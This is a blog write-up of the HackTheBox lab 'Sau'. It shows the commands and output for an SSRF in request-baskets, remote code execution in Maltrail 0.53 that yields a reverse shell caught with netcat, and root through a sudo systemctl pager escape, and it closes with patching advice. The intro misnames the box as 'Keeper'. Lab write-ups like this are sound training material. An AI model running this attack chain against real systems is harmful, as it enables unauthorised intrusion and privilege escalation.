Ducksec Dec 03, 2023 hackthebox, writeups

HackTheBox Sau Writeup

Keeper is an “easy” level box from HackTheBox - none of the exploits for this one are especially complicated, but you do need to figure out some clever pivoting. Great fun, let’s dive in.

Gaining user access

As usual, we’ll start by adding sau.htb to /etc/hosts and run nmap:

We can see that port 55555 is open (lol!)

Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-09 10:21 GMT 
Nmap scan report for sau.htb (10.129.66.76) 
Host is up (0.024s latency). 
Not shown: 65531 closed tcp ports (conn-refused) 
PORT      STATE    SERVICE VERSION 
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:  
|   3072 aa8867d7133d083a8ace9dc4ddf3e1ed (RSA) 
|   256 ec2eb105872a0c7db149876495dc8a21 (ECDSA) 
|_  256 b30c47fba2f212ccce0b58820e504336 (ED25519) 
80/tcp    filtered http 
8338/tcp  filtered unknown 
55555/tcp open     unknown 
| fingerprint-strings:  
|   FourOhFourRequest:  
|     HTTP/1.0 400 Bad Request 
|     Content-Type: text/plain; charset=utf-8 
|     X-Content-Type-Options: nosniff 
|     Date: Thu, 09 Nov 2023 10:22:02 GMT 
|     Content-Length: 75 
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$ 
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:  
|     HTTP/1.1 400 Bad Request 
|     Content-Type: text/plain; charset=utf-8 
|     Connection: close 
|     Request 
|   GetRequest:  
|     HTTP/1.0 302 Found 
|     Content-Type: text/html; charset=utf-8 
|     Location: /web 
|     Date: Thu, 09 Nov 2023 10:21:36 GMT 
|     Content-Length: 27 
|     href="/web">Found</a>. 
|   HTTPOptions:  
|     HTTP/1.0 200 OK 
|     Allow: GET, OPTIONS 
|     Date: Thu, 09 Nov 2023 10:21:36 GMT 
|_    Content-Length: 0 
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : 
SF-Port55555-TCP:V=7.93%I=7%D=11/9%Time=654CB2B3%P=x86_64-pc-linux-gnu%r(G 
SF:etRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\ 
SF:x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Thu,\x2009\x20Nov\x20 
SF:2023\x2010:21:36\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/w 
SF:eb\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Re 
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x 
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x202 
SF:00\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Thu,\x2009\x20Nov\x20 
SF:2023\x2010:21:36\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest 
SF:,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain; 
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request" 
SF:)%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex 
SF:t/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20 
SF:Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon 
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\ 
SF:r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\ 
SF:x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nC 
SF:onnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67," 
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c 
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(K 
SF:erberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text 
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R 
SF:equest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\n 
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options 
SF::\x20nosniff\r\nDate:\x20Thu,\x2009\x20Nov\x202023\x2010:22:02\x20GMT\r 
SF:\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20nam 
SF:e\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\ 
SF:n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type: 
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20 
SF:Bad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request 
SF:\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clo 
SF:se\r\n\r\n400\x20Bad\x20Request"); 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 108.46 seconds


There are a couple of filtered ports (more about those later), so let’s take a quick look at port 55555 - we see it’s an app called request-baskets.

sau1

We don’t need to enumerate very much, since the homepage itself tells us what we’re doing with version: 1.2.1

sau2

Let’s not overcomplicate things - a quick search reveals a CVE: https://github.com/entr0pie/CVE-2023-27163

We can read that “Request-baskets is a web application built to collect and register requests on a specific route, so-called basket. When creating it, the user can specify another server to forward the request. The issue here is that the user can specify unintended services, such as network-closed applications.” This leads to a vulnerability known as Server Side Request Forgery.

What does that mean in our context? Let’s suppose that the server hosts request-baskets on port 55555 and some other application (perhaps a web server) on port 80, or port 8338 - normally, if the applications listening on 80 and 8338 are configured to be accessible only via localhost we wouldn’t be able to interact with them. However, here we can manipulate request baskets to create a basket which forwards to http://localhost:80 - allowing us to access the restricted web server.

The CVE mentioned above makes it easy to take advantage of the SSRF vulnerability, and view the content of the server running on port 80

└──╼ $bash ./CVE-2023-27163.sh http://sau.htb:55555/ http://127.0.0.1:80/                                                                                                                    
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163 

> Creating the "hzveyr" proxy basket... 
> Basket created! 
> Accessing http://sau.htb:55555/hzveyr now makes the server request to http://127.0.0.1:80/. 
> ./CVE-2023-27163.sh: line 43: jq: command not found 
> Response body (Authorization): {"token":"RNIGG3LrtmcHpqwhoVwhhWn-IJ7oJWhg0wUccN8390Dz"}

Let’s also take a look at 8338

> ```
> └──╼ $bash ./CVE-2023-27163.sh http://sau.htb:55555/ http://127.0.0.1:8338/                                                                                                                  
> Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163 
> 
> > Creating the "meyddo" proxy basket... 
> > Basket created! 
> > Accessing http://sau.htb:55555/meyddo now makes the server request to http://127.0.0.1:8338/. 
> > ./CVE-2023-27163.sh: line 43: jq: command not found 
> > Response body (Authorization): {"token":"WZO9G78hlZHdwE7B0QQqo0wrMuDthXREtTkNpMLIkPs9"}

We can now visit the baskets we created to view the content of the hidden servers!

sau3

As it turns out both ports seem to be the same - a web interface powered by Maltrail (v0.53)

Once again, a quick search shows that there’s a remote code execution exploit for this: https://github.com/spookier/Maltrail-v0.53-Exploit

We’ll clone down this exploit - it’s a pretty simple one, the only thing we’ll need to keep in mind is that when targeting our attack we’ll need to point to the request baskets URL, and not the service itself. Remember we can’t access Maltrail from our system, only via the SSRF “tunnel” we’ve created using the request basket.

└──╼ $python3 exploit.py 10.10.14.48 8181 http://sau.htb:55555/meyddo                                                                                                                        
Running exploit on http://sau.htb:55555/meyddo/login

And we have a shell!

└──╼ $nc -nvlp 8181 
listening on [any] 8181 ... 
connect to [10.10.14.48] from (UNKNOWN) [10.129.66.76] 49082 
$ whoami 
whoami 
puma 
$ python3 -c "import pty; pty.spawn('/bin/bash')" 
python3 -c "import pty; pty.spawn('/bin/bash')" 
puma@sau:/opt/maltrail$ pwd 
pwd 
/opt/maltrail 
puma@sau:/opt/maltrail$

Well jump to Puma’s home directory and grab the flag…

puma@sau:~$ ls -lah 
ls -lah 
total 32K 
drwxr-xr-x 4 puma puma 4.0K Jun 19 12:25 . 
drwxr-xr-x 3 root root 4.0K Apr 15  2023 .. 
lrwxrwxrwx 1 root root    9 Apr 14  2023 .bash_history -> /dev/null 
-rw-r--r-- 1 puma puma  220 Feb 25  2020 .bash_logout 
-rw-r--r-- 1 puma puma 3.7K Feb 25  2020 .bashrc 
drwx------ 2 puma puma 4.0K Apr 15  2023 .cache 
drwx------ 3 puma puma 4.0K Apr 15  2023 .gnupg 
-rw-r--r-- 1 puma puma  807 Feb 25  2020 .profile 
lrwxrwxrwx 1 puma puma    9 Apr 15  2023 .viminfo -> /dev/null 
lrwxrwxrwx 1 puma puma    9 Apr 15  2023 .wget-hsts -> /dev/null 
-rw-r----- 1 root puma   33 Nov  9 10:16 user.txt

Privilege escalation to root

A quick bit of initial enumeration shows we can run some items with sudo privileges.

puma@sau:~$ sudo -l 
sudo -l 
Matching Defaults entries for puma on sau: 
env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin 

User puma may run the following commands on sau: 
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

Specifically, we can check the status of the trail service. This seems pretty specific, so if we take a look at trail.service…

cat /etc/systemd/system/trail.service 
[Unit] 
Description=Maltrail. Server of malicious traffic detection system 
Documentation=https://github.com/stamparm/maltrail#readme 
Documentation=https://github.com/stamparm/maltrail/wiki 
Requires=network.target 
Before=maltrail-sensor.service 
After=network-online.target 

[Service] 
User=puma 
Group=puma 
WorkingDirectory=/opt/maltrail 
ExecStart=/usr/bin/python3 server.py 
Restart=on-failure 
KillMode=mixed 

[Install] 
WantedBy=multi-user.target

There’s nothing here which jumps right out as a way forward - however, a quick look at GTFO bins reminds me of an exploit I’ve seen a few times this year:

sau4

What this means is that when executing the command “systemctl status trail.service” with an interactive TTY, the logs will open in a pager if the output is larger than the screen can display all at once. The default pager is often “less”. Since this pager allows executing commands like vim, it creates an opportunity for privilege escalation. Essentially, all we need to do is run the command as sudo, which we can do, then force the pager to activate by displaying content larger than the current terminal size (a large file our output will do the job!). From here, we can simply hit enter !sh to spawn a shell - sudo privileges are not properly dropped, and we’re root!

puma@sau:~$ sudo /usr/bin/systemctl status trail.service 
sudo /usr/bin/systemctl status trail.service 
WARNING: terminal is not fully functional 
-  (press RETURN) 
● trail.service - Maltrail. Server of malicious traffic detection system 
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:> 
Active: active (running) since Thu 2023-11-09 10:15:55 UTC; 42min ago 
Docs: https://github.com/stamparm/maltrail#readme 
https://github.com/stamparm/maltrail/wiki 
Main PID: 883 (python3) 
Tasks: 13 (limit: 4662) 
Memory: 281.5M 
CGroup: /system.slice/trail.service 
├─ 883 /usr/bin/python3 server.py 
├─1151 /bin/sh -c logger -p auth.info -t "maltrail[883]" "Failed p> 
├─1152 /bin/sh -c logger -p auth.info -t "maltrail[883]" "Failed p> 
├─1155 sh 
├─1156 python3 -c import socket,os,pty;s=socket.socket(socket.AF_I> 
├─1157 /bin/sh 
├─1159 python3 -c import pty; pty.spawn('/bin/bash') 
├─1160 /bin/bash 
├─4590 gpg-agent --homedir /home/puma/.gnupg --use-standard-socket> 
├─9641 sudo /usr/bin/systemctl status trail.service 
├─9642 /usr/bin/systemctl status trail.service 
└─9643 pager 

Nov 09 10:15:55 sau systemd[1]: Started Maltrail. Server of malicious traffic d> 
lines 1-23 
Nov 09 10:36:52 sau maltrail[1136]: Failed password for None from 127.0.0.1 por> 
lines 2-24 
Nov 09 10:40:07 sau maltrail[1173]: Failed password for ; from 127.0.0.1 port 5> 
lines 3-25 
Nov 09 10:41:18 sau sudo[1178]:     puma : TTY=pts/1 ; PWD=/home/puma ; USER=ro> 
lines 4-26 
Nov 09 10:54:29 sau sudo[1460]:     puma : TTY=pts/1 ; PWD=/tmp ; USER=root ; C> 
lines 5-27!sh 
!sh 
# whoami 
whoami 
root 
# cd ~ 
cd ~ 
# cat root.txt 


Avoiding the Hack - Lessons learned

So let’s now take a look at the vulnerabilities we found, and how they could have been avoided.

All three exploits for this box existed, as is often the case, because software was not properly updated. Simply updating any of these components would have likely prevented the attack chain all the way to root - updating request baskets would have stopped us dead, because without the SSRF vulnerability, it would have been impossible to reach the internal Maltrail server to start with. Update your software people!

See you in the next one!